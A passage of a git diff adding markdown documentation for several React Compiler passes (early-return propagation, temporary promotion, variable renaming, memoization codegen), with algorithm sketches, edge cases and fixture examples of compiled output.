+  // Also propagates through StoreLocal and LoadLocal
+}
+```
+
+### 2. `transformScope` - Prunes scopes with unmemoized dependencies:
+
+```typescript
+for (const dep of scopeBlock.scope.dependencies) {
+  if (this.unmemoizedValues.has(dep.identifier)) {
+    // Propagate unmemoized status to scope outputs
+    for (const [_, decl] of scopeBlock.scope.declarations) {
+      if (this.alwaysInvalidatingValues.has(decl.identifier)) {
+        this.unmemoizedValues.add(decl.identifier);
+      }
+    }
+    return {
+      kind: 'replace',
+      value: {
+        kind: 'pruned-scope',
+        scope: scopeBlock.scope,
+        instructions: scopeBlock.instructions,
+      },
+    };
+  }
+}
+```
+
+## Edge Cases
+
+### Function Calls Not Considered Always-Invalidating
+The pass optimistically assumes function calls may return primitives, so `makeArray()` doesn't trigger pruning even though it might return a new array.
+
+### Conditional Allocations
+Code like `x = cond ? [] : 42` doesn't trigger pruning because the value might be a primitive.
+
+### Propagation Through Locals
+The pass correctly tracks values through `StoreLocal` and `LoadLocal` to handle variable reassignments and loads.
+
+### Cascading Pruning
+When a scope is pruned, its always-invalidating outputs become unmemoized, potentially causing downstream scopes to be pruned as well.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `prune-scopes-whose-deps-invalidate-array.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  const x = [];
+  useHook();
+  x.push(props.value);
+  const y = [x];
+  return [y];
+}
+```
+
+**After PruneAlwaysInvalidatingScopes** (from `yarn snap -p prune-scopes-whose-deps-invalidate-array.js -d`):
+```
+<pruned> scope @0 [1:14] dependencies=[] declarations=[x$21_@0] reassignments=[] {
+  [2] $20_@0 = Array []
+  [3] StoreLocal Const x$21_@0 = $20_@0
+  [4] $23 = LoadGlobal import { useHook }
+  [6] $24_@1 = Call $23()       // Hook flattens scope
+  [7] break bb9 (implicit)
+  [8] $25_@0 = LoadLocal x$21_@0
+  [9] $26 = PropertyLoad $25_@0.push
+  [10] $27 = LoadLocal props$19
+  [11] $28 = PropertyLoad $27.value
+  [12] $29 = MethodCall $25_@0.$26($28)
+}
+[14] $30 = LoadLocal x$21_@0
+<pruned> scope @2 [15:23] dependencies=[x$21_@0:TObject<BuiltInArray>] declarations=[$35_@3] {
+  [16] $31_@2 = Array [$30]
+  [18] StoreLocal Const y$32 = $31_@2
+  [19] $34 = LoadLocal y$32
+  [21] $35_@3 = Array [$34]
+}
+[23] return $35_@3
+```
+
+Key observations:
+- Scope @0 is pruned because the hook call (`useHook()`) flattens it (hook rules prevent memoization around hooks)
+- `x` is an `ArrayExpression` created in the pruned scope @0, making it unmemoized
+- Scope @2 depends on `x$21_@0` which is unmemoized and always-invalidating (it's an array)
+- Therefore, scope @2 is also pruned - cascading pruning
+
+**Generated Code:**
+```javascript
+function Component(props) {
+  const x = [];
+  useHook();
+  x.push(props.value);
+  const y = [x];
+  return [y];
+}
+```
+
+The output matches the input because all memoization was pruned - the code runs unconditionally on every render.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/28-propagateEarlyReturns.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/28-propagateEarlyReturns.md
new file mode 100644
index 000000000000..7fd578eea772
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/28-propagateEarlyReturns.md
@@ -0,0 +1,183 @@
+# propagateEarlyReturns
+
+## File
+`src/ReactiveScopes/PropagateEarlyReturns.ts`
+
+## Purpose
+The `propagateEarlyReturns` pass ensures that reactive scopes (memoization blocks) correctly honor the control flow behavior of the original code, particularly when a function returns early from within a reactive scope. Without this transformation, if a component returned early on the previous render and the inputs have not changed, the cached memoization block would be skipped entirely, but the early return would not occur, causing incorrect behavior.
+
+The pass solves this by transforming `return` statements inside reactive scopes into assignments to a temporary variable followed by a labeled `break`. After the reactive scope completes, generated code checks whether the early return sentinel value was replaced with an actual return value; if so, the function returns that value.
+
+## Input Invariants
+1. **ReactiveFunction structure**: The input must be a `ReactiveFunction` with scopes already inferred (reactive scope blocks are already established)
+2. **Scope earlyReturnValue not set**: The pass expects `scopeBlock.scope.earlyReturnValue === null` for scopes it processes
+3. **Return statements within reactive scopes**: The pass specifically targets `return` terminal statements that appear within a `withinReactiveScope` context
+
+## Output Guarantees
+1. **Labeled scope blocks**: Top-level reactive scopes containing early returns are wrapped in a labeled block (e.g., `bb14: { ... }`)
+2. **Sentinel initialization**: At the start of each such scope, a temporary variable is initialized to `Symbol.for("react.early_return_sentinel")`
+3. **Return-to-break transformation**: All `return` statements inside the scope are replaced with:
+   - An assignment of the return value to the early return temporary
+   - A `break` to the scope's label
+4. **Early return declaration**: The temporary variable is registered as a declaration of the scope so it gets memoized
+5. **Post-scope check**: During codegen, an if-statement is added after the scope to check if the temporary differs from the sentinel and return it if so
+
+## Algorithm
+
+The pass uses a visitor pattern with a `ReactiveFunctionTransform` that tracks two pieces of state:
+
+```typescript
+type State = {
+  withinReactiveScope: boolean;  // Are we inside a reactive scope?
+  earlyReturnValue: ReactiveScope['earlyReturnValue'];  // Bubble up early return info
+};
+```
+
+### Key Steps:
+
+1. **visitScope** - When entering a reactive scope:
+   - Create an inner state with `withinReactiveScope: true`
+   - Traverse the scope's contents
+   - If any early returns were found (`earlyReturnValue !== null`):
+     - If this is the **outermost** scope (parent's `withinReactiveScope` is false):
+       - Store the early return info on the scope
+       - Add the temporary as a scope declaration
+       - Prepend sentinel initialization instructions
+       - Wrap the original instructions in a labeled block
+     - Otherwise, propagate the early return info to the parent scope
+
+2. **transformTerminal** - When encountering a `return` inside a reactive scope:
+   - Create or reuse an early return value identifier
+   - Replace the return with:
+     ```typescript
+     [
+       {kind: 'instruction', /* StoreLocal: reassign earlyReturnValue = returnValue */},
+       {kind: 'terminal', /* break to earlyReturnValue.label */}
+     ]
+     ```
+
+### Sentinel Initialization Code (synthesized at scope start):
+```typescript
+// Load Symbol.for and call it with the sentinel string
+let t0 = Symbol.for("react.early_return_sentinel");
+```
+
+## Edge Cases
+
+### Nested Reactive Scopes
+When early returns occur in nested scopes, only the **outermost** scope gets the labeled block wrapper. Inner scopes bubble their early return information up via `parentState.earlyReturnValue`.
+
+### Multiple Early Returns in Same Scope
+All returns share the same temporary variable and label. The first return found creates the identifier, subsequent returns reuse it.
+
+### Partial Early Returns
+When only some control flow paths return early (e.g., one branch returns, the other falls through), the sentinel check after the scope allows normal execution to continue if no early return occurred.
+
+### Already Processed Scopes
+If `scopeBlock.scope.earlyReturnValue !== null` on entry, the pass exits early without modification.
+
+### Returns Outside Reactive Scopes
+The pass only transforms returns where `state.withinReactiveScope === true`. Returns outside scopes are left unchanged.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `early-return-within-reactive-scope.js`
+
+**Input:**
+```javascript
+function Component(props) {
+  let x = [];
+  if (props.cond) {
+    x.push(props.a);
+    return x;
+  } else {
+    return makeArray(props.b);
+  }
+}
+```
+
+**After PropagateEarlyReturns** (from `yarn snap -p early-return-within-reactive-scope.js -d`):
+```
+scope @0 [...] earlyReturn={id: #t34$34, label: 14} {
+  [0] $36 = LoadGlobal(global) Symbol
+  [0] $37 = PropertyLoad $36.for
+  [0] $38 = "react.early_return_sentinel"
+  [0] $35 = MethodCall $36.$37($38)
+  [0] StoreLocal Let #t34$34{reactive} = $35    // Initialize sentinel
+  bb14: {
+    [2] $19_@0 = Array []
+    [3] StoreLocal Const x$20_@0 = $19_@0
+    [4] $22{reactive} = LoadLocal props$18
+    [5] $23{reactive} = PropertyLoad $22.cond
+    [6] if ($23) {
+      [7] $24_@0 = LoadLocal x$20_@0
+      [8] $25 = PropertyLoad $24_@0.push
+      [9] $26 = LoadLocal props$18
+      [10] $27 = PropertyLoad $26.a
+      [11] $28 = MethodCall $24_@0.$25($27)
+      [12] $29 = LoadLocal x$20_@0
+      [0] StoreLocal Reassign #t34$34 = $29     // was: return x
+      [0] break bb14 (labeled)
+    } else {
+      [14] $30 = LoadGlobal import { makeArray }
+      [15] $31 = LoadLocal props$18
+      [16] $32 = PropertyLoad $31.b
+      scope @1 [...] {
+        [18] $33_@1 = Call $30($32)
+      }
+      [0] StoreLocal Reassign #t34$34 = $33_@1  // was: return makeArray(props.b)
+      [0] break bb14 (labeled)
+    }
+  }
+}
+```
+
+Key observations:
+- Scope @0 now has `earlyReturn={id: #t34$34, label: 14}`
+- Sentinel initialization code is prepended to the scope
+- The scope body is wrapped in `bb14: { ... }`
+- Both `return x` and `return makeArray(props.b)` are transformed to `StoreLocal Reassign + break bb14`
+
+**Generated Code:**
+```javascript
+function Component(props) {
+  const $ = _c(6);
+  let t0;
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const x = [];
+      if (props.cond) {
+        x.push(props.a);
+        t0 = x;
+        break bb0;
+      } else {
+        let t1;
+        if ($[4] !== props.b) {
+          t1 = makeArray(props.b);
+          $[4] = props.b;
+          $[5] = t1;
+        } else {
+          t1 = $[5];
+        }
+        t0 = t1;
+        break bb0;
+      }
+    }
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+}
+```
+
+This transformation ensures that when inputs don't change, the cached return value is used and returned, preserving referential equality and correct early return behavior.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/29-promoteUsedTemporaries.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/29-promoteUsedTemporaries.md
new file mode 100644
index 000000000000..a08c2bf154e6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/29-promoteUsedTemporaries.md
@@ -0,0 +1,203 @@
+# promoteUsedTemporaries
+
+## File
+`src/ReactiveScopes/PromoteUsedTemporaries.ts`
+
+## Purpose
+This pass promotes temporary variables (identifiers with no name) to named variables when they need to be referenced across scope boundaries or in code generation. Temporaries are intermediate values that the compiler creates during lowering; they are typically inlined at their use sites during codegen. However, some temporaries must be emitted as separate declarations - this pass identifies and names them.
+
+The pass ensures that:
+1. Scope dependencies and declarations have proper names for codegen
+2. Variables referenced across reactive scope boundaries are named
+3. JSX tag identifiers get special naming (`T0`, `T1`, etc.)
+4. Temporaries with interposing side-effects are promoted to preserve ordering
+
+## Input Invariants
+- The ReactiveFunction has undergone scope construction and dependency propagation
+- Identifiers may have `name === null` (temporaries) or be named
+- Scopes have `dependencies`, `declarations`, and `reassignments` populated
+- Pruned scopes are properly marked with `kind: 'pruned-scope'`
+
+## Output Guarantees
+- All scope dependencies have non-null names
+- All scope declarations have non-null names
+- JSX tag temporaries use uppercase naming (`T0`, `T1`, ...)
+- Regular temporaries use lowercase naming (`#t{id}`)
+- All instances of a promoted identifier share the same name (via DeclarationId tracking)
+- Temporaries with interposing mutating instructions are promoted to preserve source ordering
+
+## Algorithm
+
+The pass operates in four phases using visitor classes:
+
+### Phase 1: CollectPromotableTemporaries
+Collects information about which temporaries may need promotion:
+
+```typescript
+class CollectPromotableTemporaries {
+  // Tracks pruned scope declarations and whether they're used outside their scope
+  pruned: Map<DeclarationId, {activeScopes: Array<ScopeId>; usedOutsideScope: boolean}>
+
+  // Tracks identifiers used as JSX tags (need uppercase names)
+  tags: Set<DeclarationId>
+}
+```
+
+- When visiting a `JsxExpression`, adds the tag identifier to `tags`
+- When visiting a `PrunedScope`, records its declarations
+- Tracks when pruned declarations are used in different scopes
+
+### Phase 2: PromoteTemporaries
+Promotes temporaries that appear in positions requiring names:
+
+```typescript
+override visitScope(scopeBlock: ReactiveScopeBlock, state: State): void {
+  // Promote all dependencies without names
+  for (const dep of scopeBlock.scope.dependencies) {
+    if (identifier.name == null) {
+      promoteIdentifier(identifier, state);
+    }
+  }
+  // Promote all declarations without names
+  for (const [, declaration] of scopeBlock.scope.declarations) {
+    if (declaration.identifier.name == null) {
+      promoteIdentifier(declaration.identifier, state);
+    }
+  }
+}
+```
+
+Also promotes:
+- Function parameters without names
+- Pruned scope declarations used outside their scope
+
+### Phase 3: PromoteInterposedTemporaries
+Handles ordering-sensitive promotion:
+
+```typescript
+class PromoteInterposedTemporaries {
+  // Instructions that emit as statements can interpose between temp defs and uses
+  // If such an instruction occurs, mark pending temporaries as needing promotion
+
+  override visitInstruction(instruction: ReactiveInstruction, state: InterState): void {
+    // For instructions that become statements (calls, stores, etc.):
+    if (willBeStatement && !constStore) {
+      // Mark all pending temporaries as needing promotion
+      for (const [key, [ident, _]] of state.entries()) {
+        state.set(key, [ident, true]);  // Mark as needing promotion
+      }
+    }
+  }
+}
+```
+
+This preserves source ordering when side-effects occur between a temporary's definition and use.
+
+### Phase 4: PromoteAllInstancesOfPromotedTemporaries
+Ensures all instances of a promoted identifier share the same name:
+
+```typescript
+class PromoteAllInstancesOfPromotedTemporaries {
+  override visitPlace(_id: InstructionId, place: Place, state: State): void {
+    if (place.identifier.name === null &&
+        state.promoted.has(place.identifier.declarationId)) {
+      promoteIdentifier(place.identifier, state);
+    }
+  }
+}
+```
+
+### Naming Convention
+```typescript
+function promoteIdentifier(identifier: Identifier, state: State): void {
+  if (state.tags.has(identifier.declarationId)) {
+    promoteTemporaryJsxTag(identifier);  // Uses #T{id} for JSX tags
+  } else {
+    promoteTemporary(identifier);  // Uses #t{id} for regular temps
+  }
+  state.promoted.add(identifier.declarationId);
+}
+```
+
+## Edge Cases
+
+### JSX Tag Temporaries
+JSX tags require uppercase names to be valid JSX syntax. The pass tracks which temporaries are used as JSX tags and uses `T0`, `T1`, etc. instead of `t0`, `t1`.
+
+### Pruned Scope Declarations
+Declarations in pruned scopes are only promoted if they're actually used outside the pruned scope, avoiding unnecessary variable declarations.
+
+### Const vs Let Temporaries
+The pass tracks const identifiers specially - they don't need promotion for ordering purposes since they can't be mutated by interposing instructions.
+
+### Global Loads
+Values loaded from globals (and their property loads) are treated as const-like for promotion purposes.
+
+### Method Call Properties
+The property identifier in a method call is treated as const-like to avoid unnecessary promotion.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `simple.js`
+
+**Input:**
+```javascript
+export default function foo(x, y) {
+  if (x) {
+    return foo(false, y);
+  }
+  return [y * 10];
+}
+```
+
+**Before PromoteUsedTemporaries:**
+```
+scope @0 [...] dependencies=[y$14] declarations=[$19_@0]
+scope @1 [...] dependencies=[$22] declarations=[$23_@1]
+```
+
+**After PromoteUsedTemporaries:**
+```
+scope @0 [...] dependencies=[y$14] declarations=[#t5$19_@0]
+scope @1 [...] dependencies=[#t9$22] declarations=[#t10$23_@1]
+```
+
+Key observations:
+- `$19_@0` is promoted to `#t5$19_@0` because it's a scope declaration
+- `$22` is promoted to `#t9$22` because it's a scope dependency
+- `$23_@1` is promoted to `#t10$23_@1` because it's a scope declaration
+- The `#t` prefix indicates this is a promoted temporary (later renamed by `renameVariables`)
+
+**Generated Code:**
+```javascript
+import { c as _c } from "react/compiler-runtime";
+export default function foo(x, y) {
+  const $ = _c(4);
+  if (x) {
+    let t0;
+    if ($[0] !== y) {
+      t0 = foo(false, y);
+      $[0] = y;
+      $[1] = t0;
+    } else {
+      t0 = $[1];
+    }
+    return t0;
+  }
+  const t0 = y * 10;
+  let t1;
+  if ($[2] !== t0) {
+    t1 = [t0];
+    $[2] = t0;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+```
+
+The promoted temporaries (`#t5`, `#t9`, `#t10`) become the named variables (`t0`, `t1`) in the output after `renameVariables` runs.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/30-renameVariables.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/30-renameVariables.md
new file mode 100644
index 000000000000..d643618d5a38
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/30-renameVariables.md
@@ -0,0 +1,200 @@
+# renameVariables
+
+## File
+`src/ReactiveScopes/RenameVariables.ts`
+
+## Purpose
+This pass ensures that every named variable in the function has a unique name that doesn't conflict with other variables in the same block scope or with global identifiers. After scope construction and temporary promotion, variables from different source scopes may end up in the same reactive block - this pass resolves any naming conflicts.
+
+The pass also converts the `#t{id}` promoted temporary names into clean output names like `t0`, `t1`, etc.
+
+## Input Invariants
+- The ReactiveFunction has been through `promoteUsedTemporaries`
+- Variables may have names that conflict with:
+  - Other variables in the same or ancestor block scope
+  - Global identifiers referenced by the function
+  - Promoted temporaries with `#t{id}` or `#T{id}` naming
+- The function parameters have names (either from source or promoted)
+
+## Output Guarantees
+- Every named variable has a unique name within its scope
+- No variable shadows a global identifier referenced by the function
+- Promoted temporaries are renamed to `t0`, `t1`, ... (for regular temps)
+- Promoted JSX temporaries are renamed to `T0`, `T1`, ... (for JSX tags)
+- Conflicting source names get disambiguated with `$` suffix (e.g., `foo$0`, `foo$1`)
+- Returns a `Set<string>` of all unique variable names in the function
+
+## Algorithm
+
+### Phase 1: Collect Referenced Globals
+Uses `collectReferencedGlobals(fn)` to build a set of all global identifiers referenced by the function. Variable names must not conflict with these.
+
+### Phase 2: Rename with Scope Stack
+The `Scopes` class maintains:
+
+```typescript
+class Scopes {
+  #seen: Map<DeclarationId, IdentifierName> = new Map();  // Canonical name for each declaration
+  #stack: Array<Map<string, DeclarationId>> = [new Map()];  // Block scope stack
+  #globals: Set<string>;  // Global names to avoid
+  names: Set<ValidIdentifierName> = new Set();  // All assigned names
+}
+```
+
+### Renaming Logic
+```typescript
+visit(identifier: Identifier): void {
+  // Skip unnamed identifiers
+  if (originalName === null) return;
+
+  // If we've already named this declaration, reuse that name
+  const mappedName = this.#seen.get(identifier.declarationId);
+  if (mappedName !== undefined) {
+    identifier.name = mappedName;
+    return;
+  }
+
+  // Find a unique name
+  let name = originalName.value;
+  let id = 0;
+
+  // Promoted temporaries start with t0/T0
+  if (isPromotedTemporary(originalName.value)) {
+    name = `t${id++}`;
+  } else if (isPromotedJsxTemporary(originalName.value)) {
+    name = `T${id++}`;
+  }
+
+  // Increment until we find a unique name
+  while (this.#lookup(name) !== null || this.#globals.has(name)) {
+    if (isPromotedTemporary(...)) {
+      name = `t${id++}`;
+    } else if (isPromotedJsxTemporary(...)) {
+      name = `T${id++}`;
+    } else {
+      name = `${originalName.value}$${id++}`;  // foo$0, foo$1, etc.
+    }
+  }
+
+  identifier.name = makeIdentifierName(name);
+  this.#seen.set(identifier.declarationId, identifier.name);
+}
+```
+
+### Scope Management
+```typescript
+enter(fn: () => void): void {
+  this.#stack.push(new Map());
+  fn();
+  this.#stack.pop();
+}
+
+#lookup(name: string): DeclarationId | null {
+  // Search from innermost to outermost scope
+  for (let i = this.#stack.length - 1; i >= 0; i--) {
+    const entry = this.#stack[i].get(name);
+    if (entry !== undefined) return entry;
+  }
+  return null;
+}
+```
+
+### Visitor Pattern
+```typescript
+class Visitor extends ReactiveFunctionVisitor<Scopes> {
+  override visitBlock(block: ReactiveBlock, state: Scopes): void {
+    state.enter(() => {
+      this.traverseBlock(block, state);
+    });
+  }
+
+  override visitScope(scope: ReactiveScopeBlock, state: Scopes): void {
+    // Visit scope declarations first
+    for (const [_, declaration] of scope.scope.declarations) {
+      state.visit(declaration.identifier);
+    }
+    this.traverseScope(scope, state);
+  }
+
+  override visitPlace(id: InstructionId, place: Place, state: Scopes): void {
+    state.visit(place.identifier);
+  }
+}
+```
+
+## Edge Cases
+
+### Shadowed Variables
+When the compiler merges scopes that had shadowing in the source:
+```javascript
+function foo() {
+  const x = 1;
+  {
+    const x = 2;  // Shadowed in source
+  }
+}
+```
+If both `x` declarations end up in the same compiled scope, they become `x` and `x$0`.
+
+### Global Name Conflicts
+If a local variable would conflict with a referenced global:
+```javascript
+function foo() {
+  const Math = 1;  // Conflicts with global Math if used
+}
+```
+The local gets renamed to `Math$0` if `Math` global is referenced.
+
+### Nested Functions
+The pass recursively processes nested function expressions, entering a new scope for each function body.
+
+### Pruned Scopes
+Pruned scopes don't create a new block scope in the output - the pass traverses their instructions without entering a new scope level.
+
+### DeclarationId Consistency
+The pass uses `DeclarationId` to track which identifiers refer to the same variable, ensuring all references get the same renamed name.
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `simple.js`
+
+**Before RenameVariables:**
+```
+scope @0 [...] declarations=[#t5$19_@0]
+scope @1 [...] dependencies=[#t9$22] declarations=[#t10$23_@1]
+```
+
+**After RenameVariables:**
+```
+scope @0 [...] declarations=[t0$19_@0]
+scope @1 [...] dependencies=[t0$22] declarations=[t1$23_@1]
+```
+
+Key observations:
+- `#t5$19_@0` becomes `t0$19_@0` (first temporary in scope)
+- `#t9$22` becomes `t0$22` (first temporary in a different block scope)
+- `#t10$23_@1` becomes `t1$23_@1` (second temporary in that block)
+- The `#t` prefix is removed and sequential numbering is applied
+
+**Generated Code:**
+```javascript
+export default function foo(x, y) {
+  const $ = _c(4);
+  if (x) {
+    let t0;  // Was #t5
+    if ($[0] !== y) {
+      t0 = foo(false, y);
+      // ...
+    }
+    return t0;
+  }
+  const t0 = y * 10;  // Was #t9, reuses t0 since different block scope
+  let t1;  // Was #t10
+  // ...
+}
+```
+
+The pass produces clean, readable output with minimal variable names while avoiding conflicts.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/31-codegenReactiveFunction.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/31-codegenReactiveFunction.md
new file mode 100644
index 000000000000..922b2e9dec47
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/31-codegenReactiveFunction.md
@@ -0,0 +1,286 @@
+# codegenReactiveFunction
+
+## File
+`src/ReactiveScopes/CodegenReactiveFunction.ts`
+
+## Purpose
+This is the final pass that converts the ReactiveFunction representation back into a Babel AST. It generates the memoization code that makes React components and hooks efficient by:
+1. Creating the `useMemoCache` call to allocate cache slots
+2. Generating dependency comparisons to check if values have changed
+3. Emitting conditional blocks that skip computation when cached values are valid
+4. Storing computed values in the cache
+5. Loading cached values when dependencies haven't changed
+
+## Input Invariants
+- The ReactiveFunction has been through all prior passes
+- All identifiers that need names have been promoted and renamed
+- Reactive scopes have finalized `dependencies`, `declarations`, and `reassignments`
+- Early returns have been transformed with sentinel values (via `propagateEarlyReturns`)
+- Pruned scopes are marked with `kind: 'pruned-scope'`
+- Unique identifiers set is available to avoid naming conflicts
+
+## Output Guarantees
+- Returns a `CodegenFunction` with Babel AST `body`
+- All reactive scopes become if-else blocks checking dependencies
+- The `$` cache array is properly sized with `useMemoCache(n)`
+- Each dependency and output gets its own cache slot
+- Pruned scopes emit their instructions inline without memoization
+- Early returns use the sentinel pattern with post-scope checks
+- Statistics are collected: `memoSlotsUsed`, `memoBlocks`, `memoValues`, etc.
+
+## Algorithm
+
+### Entry Point: codegenFunction
+```typescript
+export function codegenFunction(fn: ReactiveFunction): Result<CodegenFunction, CompilerError> {
+  const cx = new Context(...);
+
+  // Optional: Fast Refresh source hash tracking
+  if (enableResetCacheOnSourceFileChanges) {
+    fastRefreshState = { cacheIndex: cx.nextCacheIndex, hash: sha256(source) };
+  }
+
+  const compiled = codegenReactiveFunction(cx, fn);
+
+  // Prepend useMemoCache call if any cache slots used
+  if (cacheCount !== 0) {
+    body.unshift(
+      t.variableDeclaration('const', [
+        t.variableDeclarator(
+          t.identifier('$'),
+          t.callExpression(t.identifier('useMemoCache'), [t.numericLiteral(cacheCount)])
+        )
+      ])
+    );
+  }
+
+  return compiled;
+}
+```
+
+### Context Class
+Tracks state during codegen:
+```typescript
+class Context {
+  #nextCacheIndex: number = 0;  // Allocates cache slots
+  #declarations: Set<DeclarationId> = new Set();  // Tracks declared variables
+  temp: Temporaries;  // Maps identifiers to their expressions
+  errors: CompilerError;
+
+  get nextCacheIndex(): number {
+    return this.#nextCacheIndex++;  // Returns and increments
+  }
+}
+```
+
+### codegenReactiveScope
+The core of memoization code generation:
+
+```typescript
+function codegenReactiveScope(cx: Context, statements: Array<t.Statement>,
+                              scope: ReactiveScope, block: ReactiveBlock): void {
+  const changeExpressions: Array<t.Expression> = [];
+  const cacheStoreStatements: Array<t.Statement> = [];
+  const cacheLoadStatements: Array<t.Statement> = [];
+
+  // 1. Generate dependency checks
+  for (const dep of scope.dependencies) {
+    const index = cx.nextCacheIndex;
+    changeExpressions.push(
+      t.binaryExpression('!==',
+        t.memberExpression(t.identifier('$'), t.numericLiteral(index), true),
+        codegenDependency(cx, dep)
+      )
+    );
+    cacheStoreStatements.push(
+      t.assignmentExpression('=', $[index], dep)
+    );
+  }
+
+  // 2. Generate output cache slots
+  for (const {identifier} of scope.declarations) {
+    const index = cx.nextCacheIndex;
+    // Declare variable if not already declared
+    if (!cx.hasDeclared(identifier)) {
+      statements.push(t.variableDeclaration('let', [t.variableDeclarator(name, null)]));
+    }
+    cacheLoads.push({name, index, value: name});
+  }
+
+  // 3. Build test condition
+  let testCondition = changeExpressions.reduce((acc, expr) =>
+    t.logicalExpression('||', acc, expr)
+  );
+
+  // 4. If no dependencies, use sentinel check
+  if (testCondition === null) {
+    testCondition = t.binaryExpression('===',
+      $[firstOutputIndex],
+      t.callExpression(Symbol.for, ['react.memo_cache_sentinel'])
+    );
+  }
+
+  // 5. Generate the memoization if-else
+  statements.push(
+    t.ifStatement(
+      testCondition,
+      computationBlock,  // Compute + store in cache
+      cacheLoadBlock     // Load from cache
+    )
+  );
+}
+```
+
+### Generated Structure
+For a scope with dependencies `[a, b]` and output `result`:
+
+```javascript
+let result;
+if ($[0] !== a || $[1] !== b) {
+  // Computation block
+  result = compute(a, b);
+
+  // Store dependencies
+  $[0] = a;
+  $[1] = b;
+
+  // Store output
+  $[2] = result;
+} else {
+  // Load from cache
+  result = $[2];
+}
+```
+
+### Early Return Handling
+When a scope has an early return (from `propagateEarlyReturns`):
+
+```typescript
+// Before scope: initialize sentinel
+t0 = Symbol.for("react.early_return_sentinel");
+
+// Scope generates labeled block
+bb0: {
+  // ... computation ...
+  if (cond) {
+    t0 = returnValue;
+    break bb0;
+  }
+}
+
+// After scope: check for early return
+if (t0 !== Symbol.for("react.early_return_sentinel")) {
+  return t0;
+}
+```
+
+### Pruned Scopes
+Pruned scopes emit their instructions inline without memoization:
+```typescript
+case 'pruned-scope': {
+  const scopeBlock = codegenBlockNoReset(cx, item.instructions);
+  statements.push(...scopeBlock.body);  // Inline, no memoization
+  break;
+}
+```
+
+## Edge Cases
+
+### Zero Dependencies
+Scopes with no dependencies use a sentinel value check instead:
+```javascript
+if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+  // First render only
+}
+```
+
+### Fast Refresh / HMR
+When `enableResetCacheOnSourceFileChanges` is enabled, the generated code includes a source hash check that resets the cache when the source changes:
+```javascript
+if ($[0] !== "source_hash_abc123") {
+  for (let $i = 0; $i < cacheCount; $i++) {
+    $[$i] = Symbol.for("react.memo_cache_sentinel");
+  }
+  $[0] = "source_hash_abc123";
+}
+```
+
+
+### Labeled Breaks
+Control flow with labeled breaks (for early returns or loop exits) uses `codegenLabel` to generate consistent label names:
+```typescript
+function codegenLabel(id: BlockId): string {
+  return `bb${id}`;  // e.g., "bb0", "bb1"
+}
+```
+
+### Nested Functions
+Function expressions and object methods are recursively processed with their own contexts.
+
+### FBT/Internationalization
+Special handling for FBT operands ensures they're memoized in the same scope for correct internationalization behavior.
+
+## Statistics Collected
+```typescript
+type CodegenFunction = {
+  memoSlotsUsed: number;     // Total cache slots allocated
+  memoBlocks: number;        // Number of reactive scopes
+  memoValues: number;        // Total memoized values
+  prunedMemoBlocks: number;  // Scopes that were pruned
+  prunedMemoValues: number;  // Values in pruned scopes
+  hasInferredEffect: boolean;
+};
+```
+
+## TODOs
+None in the source file.
+
+## Example
+
+### Fixture: `simple.js`
+
+**Input:**
+```javascript
+export default function foo(x, y) {
+  if (x) {
+    return foo(false, y);
+  }
+  return [y * 10];
+}
+```
+
+**Generated Code:**
+```javascript
+import { c as _c } from "react/compiler-runtime";
+export default function foo(x, y) {
+  const $ = _c(4);  // Allocate 4 cache slots
+  if (x) {
+    let t0;
+    if ($[0] !== y) {           // Check dependency
+      t0 = foo(false, y);       // Compute
+      $[0] = y;                 // Store dependency
+      $[1] = t0;                // Store output
+    } else {
+      t0 = $[1];                // Load from cache
+    }
+    return t0;
+  }
+  const t0 = y * 10;
+  let t1;
+  if ($[2] !== t0) {            // Check dependency
+    t1 = [t0];                  // Compute
+    $[2] = t0;                  // Store dependency
+    $[3] = t1;                  // Store output
+  } else {
+    t1 = $[3];                  // Load from cache
+  }
+  return t1;
+}
+```
+
+Key observations:
+- `_c(4)` allocates 4 cache slots total
+- First scope uses slots 0-1: slot 0 for `y` dependency, slot 1 for `t0` output
+- Second scope uses slots 2-3: slot 2 for `t0` (the computed `y * 10`), slot 3 for `t1` (the array)
+- Each scope has an if-else structure: compute/store vs load
+- The memoization ensures referential equality of the returned array when `y` hasn't changed
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/34-optimizePropsMethodCalls.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/34-optimizePropsMethodCalls.md
new file mode 100644
index 000000000000..942076af1707
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/34-optimizePropsMethodCalls.md
@@ -0,0 +1,132 @@
+# optimizePropsMethodCalls
+
+## File
+`src/Optimization/OptimizePropsMethodCalls.ts`
+
+## Purpose
+This pass converts method calls on the props object to regular function calls. Method calls like `props.onClick()` are transformed to `const t0 = props.onClick; t0()`. This normalization enables better analysis and optimization by the compiler.
+
+The transformation is important because method calls have different semantics than regular calls - the receiver (`props`) would normally be passed as `this` to the method. For React props, methods are typically just callback functions where `this` binding doesn't matter, so converting them to regular calls is safe and enables better memoization.
+
+## Input Invariants
+- The function has been through type inference
+- Props parameters are typed as `TObject<BuiltInProps>`
+
+## Output Guarantees
+- All `MethodCall` instructions where the receiver has props type are converted to `CallExpression`
